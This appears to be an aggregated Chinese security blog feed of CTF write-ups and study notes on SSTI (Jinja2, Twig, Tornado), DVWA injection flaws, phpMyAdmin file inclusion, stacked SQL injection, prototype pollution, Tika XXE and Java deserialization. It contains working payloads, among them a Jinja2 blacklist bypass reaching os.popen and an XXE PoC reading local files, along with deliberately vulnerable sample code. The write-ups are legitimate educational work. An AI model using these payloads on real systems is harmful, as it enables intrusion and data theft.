];


function filter($tempfile)
{
 $data = file_get_contents($tempfile);
 if (
 stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
 stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
 ) {
 return true;
 }
 return false;
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
 if (is_uploaded_file($_FILES['file']['tmp_name'])) {
 if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
 die("Nope :<");
 }

 // mimetype check
 $finfo = finfo_open(FILEINFO_MIME_TYPE);
 $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
 finfo_close($finfo);

 if (!in_array($mime_type, $allowed_mime_types)) {
 die('unexpected mimetype');
 }

 // ext check
 $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

 if (!in_array($ext, $allowed_extensions)) {
 die('unexpected extension');
 }

 if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
 echo "File upload success!Please include with 'url'";
 }else{
 echo "fail";
 } 
 }
}

if (isset($_GET['url'])) {
 
$include_url = basename($_GET['url']);


if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
 die("unexpected extension");
}

include '/tmp/' . $include_url;
exit;
}
?>

源码分析 #

这里我们很明显能看到有三道防线：

Jinja2常见关键字被ban后的SSTI

Sat, 11 Apr 2026 00:00:00 +0000

Jinja2常见关键字被ban后的SSTI #

题目源码 #

from flask import Flask,render_template_string,request,render_template
app=Flask(__name__)
@app.route('/',methods=['GET','POST'])
def index():
	black_list=['__class__','__init__','7','*','import','os','popen','__','system']
	if request.method=='POST':
		name=request.form.get('name')
		for black in black_list:
			if black in name:
				return "waf!"
		result=render_template_string(name)
		return 'ok'
	return render_template('index.html')
if __name__=='__main__':
	app.run(host='0.0.0.0',port=5000)

题目给的源码很简单，只是给了一个黑名单，把常见的SSTI所用的关键字给ban了，但是这里只检查POST请求体name参数是否有非法字符，如果我们把这些敏感字符放在GET参数里面，然后在POST请求体里面用request.args获取GET参数即可绕过。

payload #

POST: {{(((lipsum|attr(request.args.g))|attr(request.args.gi)(request.args.o))|attr(request.args.p)(request.args.c))|attr(request.args.r)()}}
GET: g=__globals__&gi=__getitem__&o=os&p=popen&c=命令&r=read

payload讲解 #

lipsum：Jinja2内置的全局函数，是一个python函数对象。

|attr(...)：Jinja2的过滤器，作用相当于getattr(object, attribute_name)，用来获取对象的属性或方法名。

request.args.xxx：从GET参数中取值。

第一步：获取`lipsum`的`globals` #

lipsum|attr(request.args.g)

基本语法 #

{{ object|attr("attribute_name") }}

在jinja2模板中，通常使用.来访问属性，但有局限性：

不能使用变量作为属性名
不能访问名称中包含特殊字符的属性

这样我们就能获取到lipsum函数对象的g属性(g是我们可以控制的，由GET参数决定)。如果我们在GET参数中带上?g=__globals__，我们就能获取lipsum.__globals__这个字典。

第二步：从`globals`中获取某个成员 #

(lipsum|attr(request.args.g))|attr(request.args.gi)(request.args.o)

语法分解 #

第一部分：|attr(request.args.gi)

SSTI之twig

Sat, 11 Apr 2026 00:00:00 +0000

Twig与SSTI #

twig简介 #

twig是一个PHP的现代模板引擎，广泛用于Symfony框架。

twig的三种基础语法结构 #

{{...}}：用于输出变量或表达式的值。

hello,{{user.name}}

{%...%}：用于执行逻辑控制，如 if 判断，for 循环

{# 判断是否显示 #}
{% if user.is_admin %}
 <a href="/admin">管理后台</a>
{% endif %}

{{#...#}}：用于写注释，在最终的HTML源码中是看不到的

{# 这是给程序员看的备注，用户看不见 #}

twig也有沙箱模式，默认禁用危险函数（如system），但需要手动启用完整沙箱限制。

开发中的代码样例 #

安全的样例 #

// PHP控制器逻辑（安全用法）
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
 'index' => 'Hello, {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$name = htmlspecialchars($_GET['name']); // 输入过滤
echo $twig->render('index', ['name' => $name]);

为什么这样是安全的？

$twig->render('index', ['name' => $name])在这段代码中，'index'让twig去加载预先写好的模板文件，这个文件内容是服务器上硬编码的，用户无法修改。

['name' => $name]这里则是告诉twig把这个变量的值直接填充到模板里的{{name}}。

不安全的样例 #

// PHP控制器逻辑（危险操作！）
$twig = new \Twig\Environment($loader);
$user_input = $_GET['content']; // 未过滤直接传入模板
echo $twig->render($user_input, []); // 直接渲染用户输入

为什么这样不安全？

phpMyAdmin文件包含漏洞(CVE-2018-12613)

Fri, 10 Apr 2026 00:00:00 +0000

phpMyAdmin文件包含漏洞 #

phpMyAdmin简介 #

什么是phpMyAdmin #

phpMyAdmin是一个基于网页的 MySQL / MariaDB 数据库可视化管理工具，使用PHP编写。phpMyAdmin最大的作用就是让我们不用敲复杂的命令行也能轻松管理数据库。它提供一个直观的图形界面，所有操作都可以在浏览器点击鼠标完成。

phpMyAdmin能干什么 #

它的功能几乎覆盖数据库管理的所有方面：

基本操作：创建、浏览、编辑、删除数据库、数据表、字段和索引。
执行 SQL 语句、通过表单搜索数据、批量导入导出数据（支持 CSV、SQL、XML、PDF 等多种格式）。
权限与维护：管理 MySQL 用户账号和权限，检查和修复数据表，追踪数据库变更。
其他高级功能：支持创建数据库关系图（PDF）、管理存储过程和触发器、支持 80 多种语言等。

CVE-2018-12613 #

漏洞分析 #

在index.php中出现问题：

if (! empty($_REQUEST['target'])
 && is_string($_REQUEST['target'])
 && ! preg_match('/^index/', $_REQUEST['target'])
 && ! in_array($_REQUEST['target'], $target_blacklist)
 && Core::checkPageValidity($_REQUEST['target'])
) {
 include $_REQUEST['target'];
 exit;
}

前面三条不用关注，没什么作用，第四条规定target不能在黑名单中，也就是import.php和export.php。

第五条Core::checkPageValidity()方法在libraries\classes\Core.php，源码：

 public static function checkPageValidity(&$page, array $whitelist = [])
 {
 if (empty($whitelist)) {
 $whitelist = self::$goto_whitelist;
 }
 if (! isset($page) || !is_string($page)) {
 return false;
 }

 if (in_array($page, $whitelist)) {
 return true;
 }

 $_page = mb_substr(
 $page,
 0,
 mb_strpos($page . '?', '?')
 );
 if (in_array($_page, $whitelist)) {
 return true;
 }

 $_page = urldecode($page);
 $_page = mb_substr(
 $_page,
 0,
 mb_strpos($_page . '?', '?')
 );
 if (in_array($_page, $whitelist)) {
 return true;
 }

 return false;
 }

验证的白名单为：

DVWA代码审计之命令注入

Sun, 29 Mar 2026 00:00:00 +0000

DVWA代码审计之命令注入 #

原理 #

在操作系统中，&，&&，|，||都可以作为命令连接符使用，用户通过浏览器提交执行命令，由于服务器端没有对执行函数进行过滤，从而造成可以执行危险命令。

PHP的主要命令执行函数有：system、exec、passthru、shell_exec。反引号同样能够执行命令，但不是函数。

连接符的使用 #

cmd1 & cmd2：不管cmd1执行成功与否，都执行cmd2，即cmd1和cmd2都执行。

cmd1 && cmd2：先执行cmd1，成功后再执行cmd2，若cmd1执行失败，cmd2也不执行。

cmd1 | cmd2：把cmd1的输出作为cmd2的输入。

cmd1 || cmd2：若cmd1执行失败，再执行cmd2；反之，cmd2不执行。

等级low #

源码 #

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

函数简介 #

php_uname()：返回运行PHP的操作系统的描述，当参数为s时表示指定只返回操作系统名称。

堆叠注入之利用handler语句获取数据

Tue, 24 Mar 2026 00:00:00 +0000

BUUCTF之[GYCTF2020]Blacklist #

handler语句 #

HANDLER 是 MySQL 中用于直接访问表存储引擎接口的语句，类似于文件操作：

-- 打开表
HANDLER table_name OPEN [AS alias];

-- 读取数据
HANDLER table_name READ FIRST; -- 读取第一行
HANDLER table_name READ NEXT; -- 读取下一行
HANDLER table_name READ {索引名} {操作};

-- 关闭表
HANDLER table_name CLOSE;

与union的对比 #

handler的优势 #

不需要知道列数，即不需要order by来查询
不受select限制，如果select被ban了也能查询到数据
访问数据更灵活，可以精确控制读取到哪一行

注入过程 #

首先测试一下是什么类型的注入，输入1'报错，即为字符型注入。

然后测试了1' order by 3，没有这一列，测试order by 2则通过。

尝试经典的联合查询注入，结果回显：

回显了waf，select等查询字符被过滤。大概率是堆叠注入。然后测试show语句，输入1';show databases;#，回显：

确认是堆叠注入，也能看到这些数据库名。然后看一下当前数据库的数据表，输入1';show tables;#，回显：

DVWA代码审计之不安全的验证码

Sat, 21 Mar 2026 00:00:00 +0000

DVWA代码审计之不安全的验证码 #

原理 #

简单来说，这个漏洞的成因是：开发者把验证码的“验证”和密码的“修改”两个步骤在服务器端完全分开，从而导致了业务流程上的逻辑漏洞。

一般正常的逻辑是：如果验证码正确，我们才能修改密码，否则不能修改。如果把这两个步骤分开，就变成：当你提交验证码服务器验证通过后，让你重新发一个请求来修改密码，然后用户提交了新密码，而服务器不再验证验证码。这样就造成了逻辑上的“脱节”，如果我们精心地构造一个“修改密码”的请求，假装你已经通过验证，就能绕过直接修改。

等级low #

源码 #

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new = $_POST[ 'password_new' ];
	$pass_conf = $_POST[ 'password_conf' ];

	// Check CAPTCHA from 3rd party
	$resp = recaptcha_check_answer(
		$_DVWA[ 'recaptcha_private_key'],
		$_POST['g-recaptcha-response']
	);

	// Did the CAPTCHA fail?
	if( !$resp ) {
		// What happens when the CAPTCHA was entered incorrectly
		$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
		$hide_form = false;
		return;
	}
	else {
		// CAPTCHA was correct. Do both new passwords match?
		if( $pass_new == $pass_conf ) {
			// Show next stage for the user
			$html .= "
				<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
				<form action=\"#\" method=\"POST\">
					<input type=\"hidden\" name=\"step\" value=\"2\" />
					<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
					<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
					<input type=\"submit\" name=\"Change\" value=\"Change\" />
				</form>";
		}
		else {
			// Both new passwords do not match.
			$html .= "<pre>Both passwords must match.</pre>";
			$hide_form = false;
		}
	}
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
	// Hide the CAPTCHA form
	$hide_form = true;

	// Get input
	$pass_new = $_POST[ 'password_new' ];
	$pass_conf = $_POST[ 'password_conf' ];

	// Check to see if both password match
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the end user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with the passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
		$hide_form = false;
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

漏洞成因 #

这里有两个step，就是把两个步骤分开了，造成了漏洞。

SSTI之Tornado

Thu, 19 Mar 2026 00:00:00 +0000

Tornado与SSTI #

关于Tornado #

Tornado简介 #

Tornado 是一个 Python Web 框架和异步网络库，既能快速搭建网站，也能处理底层网络通信。通过使用非阻塞网络 I/O，Tornado 可以扩展到数万个开放连接，使其成为长轮询、WebSocket 和其他需要与每个用户保持长期连接的应用程序的理想选择。

Tornado 可以粗略地分为三个主要部分：

一个 Web 框架（包括 RequestHandler，它被子类化以创建 Web 应用程序，以及各种支持类）。简单来说，就是我们不能直接使用Tornado的原始的RequestHandler这个类，而要自己创建一个类继承它。一个这样的web应用，本质上就是由很多这样继承了RequestHandler的类组成的。这里给一个简单的源码。

import asyncio
import tornado

class MainHandler(tornado.web.RequestHandler):
 def get(self):
 self.write("Hello, world")

def make_app():
 return tornado.web.Application([
 (r"/", MainHandler),
 ])

async def main():
 app = make_app()
 app.listen(8888)
 await asyncio.Event().wait()

if __name__ == "__main__":
 asyncio.run(main())

HTTP 的客户端和服务器端实现 (HTTPServer 和 AsyncHTTPClient）。简单来说，Tornado既可以是客户端，也可以是服务器端。Tornado内置了一个由python编写的高性能HTTP服务器(叫HTTPServer)，不需要依赖Apache、Nginx之类的web server，所以可以作为服务器端。Tornado可以作为客户端，是因为有AsyncHTTPClient，它可以用来访问其他网站或者API。
一个异步网络库，包括类 IOLoop 和 IOStream，它们作为 HTTP 组件的构建块，也可以用于实现其他协议。

DVWA代码审计之暴力破解

Sun, 15 Mar 2026 00:00:00 +0000

DVWA代码审计之暴力破解 #

等级low #

源码 #

<?php

if( isset( $_GET[ 'Login' ] ) ) {
	// Get username
	$user = $_GET[ 'username' ];

	// Get password
	$pass = $_GET[ 'password' ];
	$pass = md5( $pass );

	// Check the database
	$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	if( $result && mysqli_num_rows( $result ) == 1 ) {
		// Get users details
		$row = mysqli_fetch_assoc( $result );
		$avatar = $row["avatar"];

		// Login successful
		$html .= "<p>Welcome to the password protected area {$user}</p>";
		$html .= "<img src=\"{$avatar}\" />";
	}
	else {
		// Login failed
		$html .= "<pre><br />Username and/or password incorrect.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

这只是一个很简单的实现登录的代码，对密码进行md5加密防止从密码进行SQL注入（但是我们能利用用户名实现SQL注入），但我们对账号登入的尝试次数没有做限制，攻击者可以无数次进行尝试。

DVWA代码审计之SQL注入

Sat, 14 Mar 2026 00:00:00 +0000

DVWA代码审计之SQL注入篇 #

等级low #

源码功能 #

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
	// 获取输入
	$id = $_REQUEST[ 'id' ];

	// 数据库查询
	$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	// 处理查询结果
	while( $row = mysqli_fetch_assoc( $result ) ) {
		// 获取对应的值
		$first = $row["first_name"];
		$last = $row["last_name"];

		// 返回给用户
		$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
	}

	mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

安全隐患 #

源码使用$_REQUEST这个超全局数组接收用户输入，但没有进行任何过滤，这就给了用户操作的空间，通过构造特定的SQL查询语句从而窃取到数据库内的信息。
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";这段代码是我们利用的核心，在这个语句中，$id这个变量直接插入到查询语句中，导致了用户输入被当成SQL语句执行。

漏洞成因 #

SQL注入这类漏洞的核心问题，就是没有把数据和代码分离，使得用户输入被当成SQL代码的一部分执行。

node.js原型链污染和沙箱逃逸漏洞学习笔记

Sun, 01 Mar 2026 00:00:00 +0000

node.js原型链污染和沙箱逃逸 #

node.js原型链 #

什么是原型（Prototype） #

在 JavaScript 中，几乎所有对象都是通过原型关联的。每个对象（除了 null）都有一个内置属性 [[Prototype]]（在 ES5 中可通过 __proto__ 访问，标准方法为Object.getPrototypeOf()），这个属性指向该对象的 “原型对象”（Prototype Object）。

例如，创建一个普通对象时，其原型默认指向 Object.prototype：

const obj = {};
console.log(obj.__proto__ === Object.prototype); // true
console.log(Object.getPrototypeOf(obj) === Object.prototype); // true

什么是Object.prototype？

Object.prototype 是 JavaScript 里所有对象的"老祖宗"，原型链的顶层，再往上就 null了。

一张形象的图：

太爷爷 (Object.prototype)
 ↑
 ├── 爷爷 (Array.prototype)
 ├── 爷爷 (Function.prototype)
 ├── 爷爷 (String.prototype)
 └── 爷爷 (其他各种原型)
 ↑
 ├── 爸爸 (某个构造函数.prototype)
 ├── 爸爸 (另一个构造函数.prototype)
 ↑
 我 (实例对象 p)

接下来分析样例代码：

Apache Tika XXE漏洞(CVE-2025-66516)

Fri, 27 Feb 2026 00:00:00 +0000

CVE-2025-66516 #

漏洞简介 #

攻击者可以通过上传一个特制的PDF文件，远程窃取服务器敏感信息或执行其他恶意操作，且整个过程无需用户交互。

漏洞详情 #

漏洞名称：Apache Tika XML外部实体注入漏洞（XXE） 影响对象：Apache Tika 是一个开源内容分析工具包，广泛用于从各种文件中提取文本和元数据，常被集成于搜索引擎、内容管理系统等 漏洞类型：XXE

漏洞原理 #

该漏洞源于Apache Tika在处理PDF文件中的 XFA（XML表单架构）数据时，未能安全地限制XML外部实体的加载。（XFA是一份藏在PDF文件里的XML代码）

攻击向量：攻击者将恶意构造的XFA文件嵌入到一个看似正常的PDF文件中。
触发机制：当存在漏洞的Apache Tika服务解析这个PDF文件时，会不当地处理XFA中的恶意XML外部实体。
技术细节：问题出在Tika核心（tika-core）的 XMLReaderUtils 类在创建 XMLStreamReader 时，未对外部实体和DTD进行有效防护，导致XXE攻击发生。

POC（以UNICTF2025的SecureDoc为例） #

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xdp:xdp [
 <!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
 <template>
 <subform>
 <field name="exploit">
 <value>
 <text>FLAG_CONTENT_BELOW:
&xxe;

FLAG_CONTENT_ABOVE</text>
 </value>
 </field>
 </subform>
 </template>
</xdp:xdp>

这个POC中有很多标签，是为了欺骗解析器，让它误以为这是一个合法的XFA文档，从而触发漏洞。

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">这段代码是声明命名空间。xmlns:xdp="http://ns.adobe.com/xdp/"这部分里xmlns是XML Namespace的简称，可以理解为一个叫做xdp的变量被赋值为http://ns.adobe.com/xdp/。而xdp:xdp中，前一个xdp就是这个“变量”，后面的xdp则是真正的XML标签。因此这段代码的意思是：在 Adobe XDP 命名空间下的根元素 xdp

为什么要这么写 #

在 XFA（XML Forms Architecture）规范中，Adobe 规定：所有 XDP（XML Data Package）文档的根元素必须是命名空间 http://ns.adobe.com/xdp/ 下的 xdp标签

Mon, 01 Jan 0001 00:00:00 +0000

Java反序列化之CC1 #

TransformMap版CC1攻击链分析 #

首先明确反序列化的思路：

在入口类，我们需要一个readObject方法，在结尾需要一个能够命令执行的方法，中间我们通过链子引导。所以我们一般从尾部出发找入口。

尾部的 exec 方法 #

先查看一下Transformer这个接口，有一个transform方法。我们看一下这个接口有哪些实现类。最终我们在InvokerTransformer这个类里面发现它的transform方法存在反射调用任意类。

public Object transform(Object input) {
	if (input == null) {
		return null;
	}
	try {
		Class cls = input.getClass();
		Method method = cls.getMethod(iMethodName, iParamTypes);
		return method.invoke(input, iArgs);
 
	} catch (NoSuchMethodException ex) {
		throw new FunctorException("InvokerTransformer: The method '" + iMethodName + 		"' on '" + input.getClass() + "' does not exist");
	} catch (IllegalAccessException ex) {
		throw new FunctorException("InvokerTransformer: The method '" + iMethodName + 		"' on '" + input.getClass() + "' cannot be accessed");
	} catch (InvocationTargetException ex) {
		throw new FunctorException("InvokerTransformer: The method '" + iMethodName + 		"' on '" + input.getClass() + "' threw an exception", ex);
	}
}

我们可以利用这个类实现弹计算器。

友链

Mon, 01 Jan 0001 00:00:00 +0000

欢迎交换友链，联系我：3220285106@qq.com